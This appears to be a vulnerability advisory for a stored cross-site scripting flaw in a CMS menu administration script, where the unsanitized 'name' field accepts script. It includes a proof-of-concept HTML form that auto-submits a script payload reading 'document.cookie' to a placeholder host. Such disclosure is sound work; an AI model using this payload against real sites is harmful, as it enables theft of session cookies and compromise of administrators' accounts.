Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules/menu/admin/include/menu.php" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/menu/admin/index.php?op=saveItem" method="post" name="main" >

<input type="hidden" name="menuid" value="1" />
<input type="hidden" name="id" value="2" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="name" value='Pages<script>alert(document.cookie)</script>' />
<input type="hidden" name="url" value="/pages/" />
<input type="hidden" name="order" value="20" />

</form>
<script>
document.main.submit();
</script>
